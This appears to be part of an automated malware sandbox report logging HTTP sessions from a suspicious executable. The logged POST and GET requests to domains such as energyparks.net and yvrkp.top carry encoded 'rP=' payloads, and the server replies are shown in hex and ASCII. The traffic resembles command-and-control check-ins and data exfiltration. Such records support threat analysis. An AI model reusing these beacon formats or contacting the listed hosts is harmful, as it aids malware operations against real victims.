8	192.168.2.4	58870	194.58.112.174	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:27:21.047791004 CET	530	OUT	GET /xprp/?rP=VtQLa3osnF7akoTJd8K7MWrEHzl8DW0FSH4Ha68GLubc/osER9eyiC9/VfKiy/o0cRDnmrVyyY747d0hGVpIr6r2fBWTDvY7eHgrrdp64c4dmhIDxYLLQeM=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1 Host: www.marketplacer.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 13, 2024 09:27:21.875041962 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Nov 2024 08:27:21 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 32 34 66 63 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 73 5f 61 64 61 70 74 69 76 65 22 20 6c 61 6e 67 3d 22 72 75 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 70 61 72 6b 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 72 65 67 72 75 2d 72 64 61 70 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 77 77 77 2e 6d 61 72 6b 65 74 70 6c 61 63 65 72 2e 74 6f 70 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 70 61 72 6b 69 6e 67 2d 72 64 61 70 2d 61 75 74 6f 2e 63 73 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 22 20 74 79 70 65 3d 22 69 [TRUNCATED] Data Ascii: 24fc<!doctype html><html class="is_adaptive" lang="ru"><head><meta charset="UTF-8"><meta name="parking" content="regru-rdap"><meta name="viewport" content="width=device-width,initial-scale=1"><title>www.marketplacer.top</title><link rel="stylesheet" media="all" href="parking-rdap-auto.css"><link rel="icon" href="favicon.ico?1" type="image/x-icon"><script>/<![CDATA[/window.trackScriptLoad = function(){};/.../</script><script onload="window.trackScriptLoad('/manifest.js')" onerror="window.trackScriptLoad('/manifest.js', 1)" src="/manifest.js" charset="utf-8"></script><script onload="window.trackScriptLoad('/head-scripts.js')" onerror="window.trackScriptLoad('/head-scripts.js', 1)" src="/head-scripts.js" charset="utf-8"></script></head><body class="b-page b-page_type_parking b-parking b-parking_bg_light"><header class="b-parking__header b-parking__header_type_rdap"><div class="b-parking__header-note b-text">  <a class="b-link" href="https://reg. [TRUNCATED]
Nov 13, 2024 09:27:21.875113964 CET	1236	IN	Data Raw: 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 67 65 5f 5f 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 20 62 2d 70 61 67 65 5f 5f 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 5f 73 74 79 6c 65 5f 69 6e 64 65 6e 74 20 62 2d 70 61 67 65 5f Data Ascii: v><div class="b-page__content-wrapper b-page__content-wrapper_style_indent b-page__content-wrapper_type_hosting-static"><div class="b-parking__header-content"><h1 class="b-parking__header-title">www.marketplacer.top</h1><p class="b-parking__he
Nov 13, 2024 09:27:21.875152111 CET	1236	IN	Data Raw: d0 b3 d0 b8 d0 b5 20 d1 83 d1 81 d0 bb d1 83 d0 b3 d0 b8 20 d0 a0 d0 b5 d0 b3 2e d1 80 d1 83 3c 2f 68 32 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 70 72 6f 6d 6f 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 Data Ascii: .</h2><div class="b-parking__promo"><div class="b-parking__promo-item b-parking__promo-item_type_hosting-overall"><div class="b-parking__promo-header"><span class="b-parking__promo-image b-parking__promo-image_typ
Nov 13, 2024 09:27:21.875186920 CET	1236	IN	Data Raw: 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 62 75 74 74 6f 6e 2d 77 72 61 70 70 65 72 22 3e 3c 61 20 63 6c 61 73 73 3d 22 62 2d 62 75 74 74 6f 6e 20 62 2d 62 75 74 74 6f 6e 5f 63 6f 6c 6f Data Ascii: ></li></ul><div class="b-parking__button-wrapper"><a class="b-button b-button_color_primary b-button_style_wide b-button_size_medium-compact b-button_text-size_normal b-parking__button b-parking__button_type_hosting" href="https://www.reg.ru/h
Nov 13, 2024 09:27:21.875224113 CET	1236	IN	Data Raw: 65 64 69 75 6d 3d 70 61 72 6b 69 6e 67 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 73 5f 6c 61 6e 64 5f 73 65 72 76 65 72 26 61 6d 70 3b 72 65 67 5f 73 6f 75 72 63 65 3d 70 61 72 6b 69 6e 67 5f 61 75 74 6f 22 3e d0 97 d0 b0 d0 ba d0 b0 d0 b7 d0 b0 Data Ascii: edium=parking&utm_campaign=s_land_server&reg_source=parking_auto"></a></div><div class="b-parking__promo-item b-parking__promo-item_type_sitebuilder"><strong class="b-title b-title_size_large-compact">
Nov 13, 2024 09:27:21.875258923 CET	1236	IN	Data Raw: 75 6d 3d 70 61 72 6b 69 6e 67 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 73 5f 6c 61 6e 64 5f 66 73 73 6c 26 72 65 67 5f 73 6f 75 72 63 65 3d 70 61 72 6b 69 6e 67 5f 61 75 74 6f 22 3e d0 9f d0 be d0 bb d1 83 d1 87 d0 b8 d1 82 d1 8c 20 53 53 4c 3c Data Ascii: um=parking&utm_campaign=s_land_fssl&reg_source=parking_auto"> SSL</a><p class="b-text b-parking__promo-description l-margin_top-small l-margin_bottom-normal l-margin_top-medium@desktop l-margin_bottom-none@desktop">
Nov 13, 2024 09:27:21.875294924 CET	1236	IN	Data Raw: 20 5d 2e 68 72 65 66 20 3d 20 6c 69 6e 6b 73 5b 20 69 20 5d 2e 68 72 65 66 20 2b 20 27 3f 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 6b 73 5b 20 Data Ascii: ].href = links[ i ].href + '?'; } links[ i ].href = links[ i ].href + 'rid=' + data.ref_id; } } } var script = document.createElement('script'); var
Nov 13, 2024 09:27:21.875435114 CET	979	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 70 61 6e 73 5b 20 69 20 5d 5b 20 74 20 5d 20 3d 20 74 65 78 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 69 66 20 28 20 73 70 61 6e 73 5b 20 69 20 5d 2e 63 6c 61 73 73 4e 61 Data Ascii: spans[ i ][ t ] = text; } else if ( spans[ i ].className.match( /^no-puny/ ) ) { spans[ i ].style.display = 'none'; } } }</script>... Yandex.Metrika counter --><script type="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	58902	3.33.130.190	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:27:27.064198017 CET	795	OUT	POST /k47i/ HTTP/1.1 Host: www.energyparks.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.energyparks.net Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Referer: http://www.energyparks.net/k47i/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 77 6d 5a 6b 62 6f 6a 33 32 68 4c 4e 31 6f 6a 6c 5a 52 73 65 66 65 72 50 6e 56 71 65 58 79 42 46 65 39 61 6b 75 79 6b 2b 61 47 35 2b 73 5a 34 44 39 50 6d 7a 6a 67 37 49 2f 7a 31 77 42 6b 30 49 7a 71 46 37 52 58 47 6b 78 4c 70 4a 68 74 69 56 6d 34 5a 39 56 63 70 68 77 51 64 46 76 77 74 50 39 44 5a 4e 2b 39 73 55 71 59 6b 32 75 68 46 35 62 54 76 53 35 56 64 66 70 51 70 7a 41 56 52 76 51 76 78 2b 73 42 65 6c 76 53 64 4f 78 5a 55 35 74 2f 2f 44 64 32 44 46 34 77 6a 4c 4b 58 4c 77 46 71 31 67 57 5a 30 79 4f 77 73 43 61 7a 6f 54 56 52 65 55 79 57 52 6a 47 4f 67 70 33 67 67 64 46 51 3d 3d Data Ascii: rP=wmZkboj32hLN1ojlZRseferPnVqeXyBFe9akuyk+aG5+sZ4D9Pmzjg7I/z1wBk0IzqF7RXGkxLpJhtiVm4Z9VcphwQdFvwtP9DZN+9sUqYk2uhF5bTvS5VdfpQpzAVRvQvx+sBelvSdOxZU5t//Dd2DF4wjLKXLwFq1gWZ0yOwsCazoTVReUyWRjGOgp3ggdFQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	58917	3.33.130.190	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:27:29.627119064 CET	815	OUT	POST /k47i/ HTTP/1.1 Host: www.energyparks.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.energyparks.net Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 219 Referer: http://www.energyparks.net/k47i/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 77 6d 5a 6b 62 6f 6a 33 32 68 4c 4e 32 4a 54 6c 65 43 30 65 65 2b 72 4d 69 56 71 65 63 53 42 42 65 39 47 6b 75 33 45 75 5a 30 64 2b 73 38 45 44 38 4c 79 7a 32 67 37 49 6e 44 31 31 50 45 30 39 7a 71 42 5a 52 54 47 6b 78 4c 74 4a 68 73 53 56 6c 50 4e 79 56 4d 70 6a 70 67 64 48 77 41 74 50 39 44 5a 4e 2b 35 45 79 71 62 55 32 70 52 56 35 5a 78 58 52 77 31 64 63 2b 67 70 7a 58 46 52 72 51 76 78 51 73 45 2b 50 76 55 5a 4f 78 59 6b 35 73 72 4c 41 57 32 44 48 38 77 69 30 62 58 4b 6a 4b 59 34 63 5a 72 64 55 4a 44 34 31 57 56 6c 4a 45 67 2f 44 67 57 31 51 62 4a 70 64 36 6a 64 55 65 66 59 66 34 76 76 52 37 63 37 77 4d 55 47 6e 39 35 33 4c 2b 53 30 3d Data Ascii: rP=wmZkboj32hLN2JTleC0ee+rMiVqecSBBe9Gku3EuZ0d+s8ED8Lyz2g7InD11PE09zqBZRTGkxLtJhsSVlPNyVMpjpgdHwAtP9DZN+5EyqbU2pRV5ZxXRw1dc+gpzXFRrQvxQsE+PvUZOxYk5srLAW2DH8wi0bXKjKY4cZrdUJD41WVlJEg/DgW1QbJpd6jdUefYf4vvR7c7wMUGn953L+S0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	58932	3.33.130.190	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:27:32.175096989 CET	10897	OUT	POST /k47i/ HTTP/1.1 Host: www.energyparks.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.energyparks.net Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 10299 Referer: http://www.energyparks.net/k47i/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 77 6d 5a 6b 62 6f 6a 33 32 68 4c 4e 32 4a 54 6c 65 43 30 65 65 2b 72 4d 69 56 71 65 63 53 42 42 65 39 47 6b 75 33 45 75 5a 30 56 2b 76 4f 38 44 39 73 4f 7a 77 51 37 49 75 6a 31 30 50 45 30 67 7a 71 35 64 52 54 4b 53 78 49 46 4a 7a 61 47 56 67 2b 4e 79 62 4d 70 6a 30 51 64 43 76 77 74 67 39 44 49 45 2b 39 6f 79 71 62 55 32 70 53 39 35 50 7a 76 52 38 56 64 66 70 51 6f 79 41 56 52 58 51 76 70 6d 73 45 37 36 76 6c 6c 4f 6f 37 63 35 71 59 6a 41 4a 47 44 42 37 77 69 73 62 58 48 37 4b 59 56 74 5a 75 49 78 4a 43 41 31 56 43 59 4d 59 42 75 64 69 45 5a 35 43 70 77 38 35 43 74 72 63 2f 77 51 72 71 4c 50 74 59 72 69 4c 69 48 4f 70 5a 54 70 6b 55 79 2b 6b 62 74 48 74 41 6d 53 6c 45 31 30 4f 50 56 48 49 41 77 38 6b 51 53 2b 5a 39 6e 73 63 31 67 45 51 52 2b 6d 77 41 4a 4d 62 31 48 75 55 6d 4a 51 6e 39 69 70 45 59 46 64 34 73 46 31 4e 30 73 31 2f 56 45 4f 61 4f 68 4e 6e 48 76 30 4f 77 72 4f 37 65 56 55 54 4f 35 55 4f 48 71 52 63 47 51 4e 48 6b 6c 75 64 58 69 71 77 47 57 54 34 30 4d 4a 6d 39 41 62 51 76 75 [TRUNCATED] Data Ascii: rP=wmZkboj32hLN2JTleC0ee+rMiVqecSBBe9Gku3EuZ0V+vO8D9sOzwQ7Iuj10PE0gzq5dRTKSxIFJzaGVg+NybMpj0QdCvwtg9DIE+9oyqbU2pS95PzvR8VdfpQoyAVRXQvpmsE76vllOo7c5qYjAJGDB7wisbXH7KYVtZuIxJCA1VCYMYBudiEZ5Cpw85Ctrc/wQrqLPtYriLiHOpZTpkUy+kbtHtAmSlE10OPVHIAw8kQS+Z9nsc1gEQR+mwAJMb1HuUmJQn9ipEYFd4sF1N0s1/VEOaOhNnHv0OwrO7eVUTO5UOHqRcGQNHkludXiqwGWT40MJm9AbQvuK3R/Cnr1QyMEZl+dDEvAEcpfeQXdENZYpcMaGao3GE1De3Nt9QsvdN67tOWji4rhQbpCLBE8cppOSrJfHzgpSTKWJ0pieKpj7R1e1qQs4LWEPMWKTfa0eWCCDin4ymRSZitaPmWZ2K79lc/YsVl1boMAY4o1S1+G9u2YtjUm2AKklDEwZXbkz51EjcB4EK6v4hSOQfL7DhO2JqcZpCS3LRBHiWvqRmIEB39DIpgyXMlNA3mxjcHhFrUhKe/A7Occq5sMrsdkAhgNFtVmjnvhZWrKVQPgQv85LuwUpf/5z+SYZH0d4pJKm3xfgjx9poXB8tgjtoowT6MdrdT73hpBRaqyslSnpw++tU4GdHbn00ETvZrh49uLkEa2PStxKQ6hOyJEVkchnuvENGOYHH4ch8HoSlmgPxbJApqqnlcX8+dYF5KwPUzy1DhsmtlYtHVelJzZQRYHzQp6rIA9VotN6r8QPvz4x2hsuUPrLi4+uOMjc85gwBGReOq5muJvqXNOPeqw/ubOcdESRv0m5xVJ7Qs7RkM84JaC/AXuCzzTXftaVSbbTUIpREGNufciL+WWEyVxT1YWuvsKXiiUjovROGpolnyU3xrpVbhM2g7T6Gl5fzfiahXo5VvtUK21p+V8on0+u/U1PhNsRhcOY6CpCnmNB87e/YIcdJ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	58948	3.33.130.190	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:27:34.721456051 CET	529	OUT	GET /k47i/?rP=9kxEYcPO0Qe31MjAFnEMVPHcjnW8clhJfOSVnSYcFCRu8P8I16bnpHX0uCpjJCIKhM8RXi76z74nz8CD3eQ5QOBn4QFToSxFkTdn7+Zz8rczuwwOORjeo18=&2p2h=vzYT2lDhJTZ0Ql HTTP/1.1 Host: www.energyparks.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 13, 2024 09:27:35.341252089 CET	398	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 13 Nov 2024 08:27:35 GMT Content-Type: text/html Content-Length: 258 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 72 50 3d 39 6b 78 45 59 63 50 4f 30 51 65 33 31 4d 6a 41 46 6e 45 4d 56 50 48 63 6a 6e 57 38 63 6c 68 4a 66 4f 53 56 6e 53 59 63 46 43 52 75 38 50 38 49 31 36 62 6e 70 48 58 30 75 43 70 6a 4a 43 49 4b 68 4d 38 52 58 69 37 36 7a 37 34 6e 7a 38 43 44 33 65 51 35 51 4f 42 6e 34 51 46 54 6f 53 78 46 6b 54 64 6e 37 2b 5a 7a 38 72 63 7a 75 77 77 4f 4f 52 6a 65 6f 31 38 3d 26 32 70 32 68 3d 76 7a 59 54 32 6c 44 68 4a 54 5a 30 51 6c 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?rP=9kxEYcPO0Qe31MjAFnEMVPHcjnW8clhJfOSVnSYcFCRu8P8I16bnpHX0uCpjJCIKhM8RXi76z74nz8CD3eQ5QOBn4QFToSxFkTdn7+Zz8rczuwwOORjeo18=&2p2h=vzYT2lDhJTZ0Ql"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	58983	104.21.14.183	80	2800	C:\Program Files (x86)\ZDzKImrlLPMvodDPvxjyrMHEPJpKdxrInEIKHbnDvOJTkJNHLcVIsvibgfltVMSGrNa\BLUymyzgBTyhbo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 09:27:41.032186985 CET	777	OUT	POST /9jdk/ HTTP/1.1 Host: www.yvrkp.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.yvrkp.top Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 199 Referer: http://www.yvrkp.top/9jdk/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 72 50 3d 62 73 7a 54 77 38 42 4b 32 62 47 4d 55 4a 4a 34 77 6e 58 7a 6b 48 6c 42 68 75 2b 52 53 78 30 35 43 67 4b 56 31 35 4e 46 31 38 44 72 75 4f 57 44 2b 67 50 49 48 69 2b 56 52 61 66 52 78 54 45 57 73 36 57 74 59 77 64 73 56 70 72 66 52 63 6a 78 6f 63 4d 30 63 31 77 37 56 74 62 59 50 4f 57 4c 65 64 6a 54 77 38 43 73 6c 50 70 62 4f 58 32 45 78 6a 41 42 69 52 58 39 2f 6f 59 56 62 7a 79 35 58 42 65 45 75 2b 2b 37 58 7a 63 2f 2b 57 4c 2f 76 76 67 48 44 47 68 48 4b 4a 53 67 54 70 71 74 38 6b 72 48 57 75 4c 4c 4f 53 47 38 30 68 63 63 64 35 69 38 55 4e 63 6b 54 75 56 6a 6b 64 55 47 79 51 3d 3d Data Ascii: rP=bszTw8BK2bGMUJJ4wnXzkHlBhu+RSx05CgKV15NF18DruOWD+gPIHi+VRafRxTEWs6WtYwdsVprfRcjxocM0c1w7VtbYPOWLedjTw8CslPpbOX2ExjABiRX9/oYVbzy5XBeEu++7Xzc/+WL/vvgHDGhHKJSgTpqt8krHWuLLOSG80hccd5i8UNckTuVjkdUGyQ==
Nov 13, 2024 09:27:42.064431906 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 08:27:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: private X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Frame-Options: SAMEORIGIN Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type, needToken,method, Authorization cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1RYy4foJM%2BQnLI3%2F6Rx%2BzgVVissFfgMbOGmNQGJ%2FxpMtCEkNRniJKQEpbKBjeG1GOil0uokiP6E6ljNoyCCaIz%2B8HYIQjnH3DV1TKqmIvxKmBI5%2FRaZsGCNHsujmNj2m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1d62508a592d3b-DFW Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1407&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=777&delivery_rate=0&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 35 37 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 c4 58 4d 6f db 46 10 3d db 80 ff c3 86 41 91 04 e8 8a b2 1c 37 09 23 19 4d 1d bb 4d 3f f2 81 d8 45 7b 32 46 e4 48 5c 6b b9 cb ec 2e 29 cb 41 80 1e 0b 14 3d e4 92 a2 40 7a 68 0f 3d f5 da 5b d1 7f 13 03 f9 17 c5 92 94 bc 94 28 db 45 9c 56 17 92 b3 fb de cc be 99 9d 25 d5 bd 72 ff d1 f6 de b7 8f 77 48 6c 12 be b5 b6 da b5 57 12 72 d0 ba e7 1d 6a 12 6a 0d 82 25 60 98 14 da db 5a 5b 5d e9 c6 08 91 9d 99 a0 01 12 1b 93 52 7c 96 b1 bc e7 6d 4b 61 50 18 ba 37 49 d1 23 61 f9 d4 f3 0c 1e 19 df d2 de 25 61 0c 4a a3 e9 ed ef ed d2 db 96 8d 90 45 9a 6f e8 fe 3d ba 2d 93 14 0c eb 73 97 e9 c1 4e 0f a3 21 ba 40 01 09 f6 bc 08 75 a8 58 6a 83 74 a6 2f ce 1b e1 64 2c 55 a4 cf 9c 94 33 1c a7 52 19 67 d2 98 Data Ascii: 57bXMoF=A7#MM?E{2FH\k.)A=@zh=[(EV%rwHlWrjj%`Z[]R\|mKaP7I#a%aJEo=-sN!@uXjt/d,U3Rg
Nov 13, 2024 09:27:42.064449072 CET	1163	IN	Data Raw: 45 26 ee 45 98 b3 10 69 f1 f0 21 61 82 19 06 9c ea 10 38 f6 d6 2b 1e c3 0c c7 ad 4f bf fe 7c ef 93 9d a7 7b 5d bf 7c 5e 5b 9d 77 a2 50 44 a8 50 b9 4e b0 3f 62 c6 ab 4d ae c9 0b 61 8c d4 8a ac 24 77 70 42 52 cd 0c 42 9a 2e ae 25 91 7d c6 91 8e b1 Data Ascii: E&Ei!a8+O\|{]\|^[wPDPN?bMa$wpBRB.%}O!Mi)%4H/V0}PTI!]KoV%x(cQa:[pw{s/l\|?Vtq\|Em:p&FD!yj:F41
Nov 13, 2024 09:27:42.272655010 CET	1236	IN	Data Raw: 36 38 31 0d 0a dc 5b db 52 14 47 18 be b7 ca 77 98 5a cf 24 c3 4c f7 9c 17 c3 4d 2e 72 15 af c8 95 65 51 b3 3d bd 61 75 61 b7 f6 60 e1 45 aa 38 28 a2 15 82 01 d4 b8 42 14 25 11 cb 80 91 c2 35 c4 03 2f 93 39 ec 55 5e 21 d5 33 d3 b3 3d cb 2a c8 88 Data Ascii: 681[RGwZ$LM.reQ=aua`E8(B%5/9U^!3=*gu{r\|+CT1g+e:}2n,xke`~4R7zV=M=<a3Y#<>'QbP{"X-tD ,DHBHD00(;O68?'
Nov 13, 2024 09:27:42.272710085 CET	436	IN	Data Raw: d4 92 b7 f1 e6 90 5a 88 6e 74 de 42 34 45 96 34 19 4a 5a 22 24 1a b7 b7 9d 07 57 ed f5 ba bb b0 ea 2c 3d 4f 12 cb 3b 68 1b 9a aa 28 9d 47 04 40 19 2a 40 4d 88 88 77 eb 0f 6f f2 6d 63 ac e6 2e ac 7a 53 0f f7 09 87 ba 2b 1c 07 6c 21 52 17 58 88 64 Data Ascii: ZntB4E4JZ"$W,=O;h(G@*@Mwomc.zS+l!RXd0d?K[y]_)P,y`nh~-?v35jdHHh${zxulE9YX]~WAt(CYomWLtJ
Nov 13, 2024 09:27:42.482034922 CET	1236	IN	Data Raw: 62 61 33 0d 0a ec 5d ed 4f 1b 47 1a ff dc 4a fd 1f a6 6e af b6 95 f8 05 bf 80 ed 80 a5 f4 aa e8 aa eb 87 93 f2 e1 3e 44 51 65 f0 62 ef dd e2 b5 bc 76 68 da 44 82 10 07 db 40 8c 8f d7 80 c3 4b 02 84 94 c4 31 2f c5 8e c1 20 f5 6f f1 ec cb a7 fc 0b Data Ascii: ba3]OGJn>DQebvhD@K1/ o]wi(^vy36KuP$VPs0C\|=m_S1\|-+m1_Wm55=A3yd"7KpWZ<x/Be1uH2#TV2I>,J?$Sftf`J
Nov 13, 2024 09:27:42.482060909 CET	1236	IN	Data Raw: 69 14 16 df b5 9a af d9 dc c1 ff 07 2c f5 62 7a 85 5a 36 86 0c 65 f8 8a ae 7d ad ae 8b d8 46 83 34 9d 96 19 8c 4c 0f d4 22 1d ce fe 08 fd 63 3c 92 d0 50 43 9d 49 f2 25 9f 9a 94 0f 72 07 8c 38 ae 3a ce 54 82 b3 19 a7 a4 73 7e 38 49 7d 32 3c 1a 3d Data Ascii: i,bzZ6e}F4L"c<PCI%r8:Ts~8I}2<=7[:J5BqMuLkL<rN\|7HMa0!ifP:!Y,[+;:.#q?:Y"qrH_9%Lc, ,A (v#Q h[LHD'
Nov 13, 2024 09:27:42.482078075 CET	424	IN	Data Raw: 9e fc cc 3d 7d a7 ee 10 f4 c3 0c d1 74 3a fe 37 69 f9 69 60 00 6c ce 48 a5 c3 e5 13 2e 3f ce be 9b 6d 9d 4c b4 ea 53 ad fa 08 bb 56 63 17 0e db ca 5c 2e 60 41 c5 5b 42 80 cb 1d 72 bb 47 fc f8 cf b0 b0 2d 8c 3c 82 8d 59 9c 5d d8 59 84 8d 2d 6d 16 Data Ascii: =}t:7ii`lH.?mLSVc\.`A[BrG-<Y]Y-m<@>xkyZV-=f#"xR8Z+zC9L:JD{1V&DH<&pcpKq?OzGI6wv !wu1hai]8zXRm_;2id4v35Yg
